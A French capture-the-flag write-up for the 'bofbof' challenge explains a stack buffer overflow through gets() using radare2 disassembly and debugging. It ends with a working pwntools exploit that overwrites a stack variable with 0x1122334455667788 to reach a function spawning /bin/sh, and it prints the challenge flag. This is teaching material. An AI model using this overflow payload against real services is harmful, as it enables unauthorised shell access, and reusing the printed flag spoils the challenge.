Introduction
Le titre du challenge nous donne un indice : il va surement s’agir d’un buffer overflow.
Nous exécutons le binaire pour voir comment il fonctionne.
Il demande à l’utilisateur d’entrer une valeur et c’est tout :/. Nous pouvons essayer de valider notre hypothèse de buffer overflow en entrant plein de caractères pour causer une erreur de segmentation.
Yes ! Nous avons même une indication que nous sommes sur le bon chemin.
Analysons le binaire fourni avec radare2
.
r2 -AA ./bofbof
Nous utilisons la commande afl
pour afficher les fonctions. La fonction main
est présente, mais nous pouvons aussi remarquer une intrigante fonction sym.vuln
.
Nous allons nous positionner sur la fonction main
et l’afficher avec les commandes suivantes :
s main
V
Nous voyons que la fonction sym.vuln
est appelée dans la fonction main
.
Nous allons ensuite nous positionner sur la fonction sym.vuln
.
s vuln
Cette fonction appelle la fonction system
et exécute /bin/sh
. Elle ouvre un shell.
Analyse du code assembleur
Voici comment s’exécute la fonction main
:
sub rsp, 0x30
-> réserve 48 octets sur la pile.movabs rax, 0x4141414141414141
-> charge le registrerax
avec la valeurAAAAAAAA
en hexadécimal.mov qword [var_8h], rax
-> charge la valeur derax
à l’adresse vers laquelle pointe la variablevar_8h
, qui sera ici dans la pile (tout en haut de la fonction,var_8h
est à l’adresserbp-0x8
).lea rdi, str.Comment_est_votre_blanquette
-> la chaîne de caractères est stockée dans le registrerdi
.- La fonction
printf
est appelée pour l’afficher. - La fonction
gets
, vulnérable aux buffer overflows, est appelée pour prendre l’entrée de l’utilisateur. La fonctiongets
ne vérifie pas la taille de l’entrée de l’utilisateur. Cette fonction est donc à proscrire.
movabs rax, 0x4141414141414141
-> la valeur représentantAAAAAAAA
en hexadécimal est encore une fois chargée dansrax
.cmp qword [var_8h], rax
-> une comparaison est réalisée entre la valeur à l’adressevar_8h
(dans la pile, qui contientAAAAAAAA
) etrax
(AAAAAAAA
).je 0x121c
-> si les deux valeurs sont égales, alors le programme saute à l’adresse0x121c
, donc à la fin du programme.- Sinon, il passe à la ligne suivante.
movabs rax, 0x1122334455667788
-> cette valeur est chargée dans le registrerax
.cmp qword [var_8h], rax
-> la comparaison est réalisée.jne 0x1210
-> si les deux valeurs ne sont pas identiques, le programme va sauter à cette adresse et afficher le messageAlmost there!
avec la méthodeputs
et sortir du programme.- Sinon, il appelle la fonction
sym.vuln
-> elle lance un shell dans la machine cible.
Création de l’exploit
L’analyse de l’assembleur nous montre clairement la marche à suivre : utiliser la méthode gets
pour effectuer notre buffer overflow et donc écrire sur la pile. La valeur située à l’adresse var_8h
est sur la pile et est utilisée pour toutes les comparaisons précédentes. Il s’agit de la valeur que nous devons modifier. Nous savons aussi que le programme a réservé 48 octets sur la pile, c’est donc ici que seront écrites toutes nos valeurs.
Nous allons déboguer le programme pour voir comment se comporte la pile et concevoir notre exploit.
r2 -AA -d ./bofbof
Nous ajoutons un point d’arrêt sur notre fonction main
et lançons le programme :
db main
dc
Après l’exécution de l’instruction sub
, nous pouvons voir que des octets ont été réservés sur la pile (à droite).
Après l’exécution de l’instruction mov qword
, la pile stocke désormais la valeur AAAAAAAA
.
Après l’exécution de l’instruction call sym.imp.gets
avec une entrée plus longue que 48 caractères, nous pouvons voir que nous avons écrit sur la pile et surtout sur var_8h
qui contenait AAAAAAAA
.
Nous avons tout ce qu’il nous faut : var_8h
est située sur les derniers 8 octets de l’emplacement réservé (48 octets). Nous devons donc remplir notre buffer avec 48 - 8 = 40 octets. Nous pourrons alors entrer pour les 8 octets restants la valeur 0x1122334455667788
pour, comme vu plus haut, valider la comparaison et appeler la fonction sym.vuln
-> lancer un shell.
Nous allons coder tout cela en python avec la librairie pwntools
.
#!/usr/bin/env python
from pwn import *
con = remote("localhost", 4000) # connexion au conteneur distant
#con = process("./bofbof") # utiliser pour s'attacher directement au binaire en local
data_ = con.recv(4096)
print(data_.decode())
payload = b"X"*40 + p64(0x1122334455667788)+b"\n" # le payload décrit plus haut.
print("payload to send =>",payload)
con.send(payload) # envoi du payload
con.interactive() # l'exécution devient interactive
# con.close()
Nous exécutons le programme -> nous avons accès au shell et donc au flag !
FLAG :
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}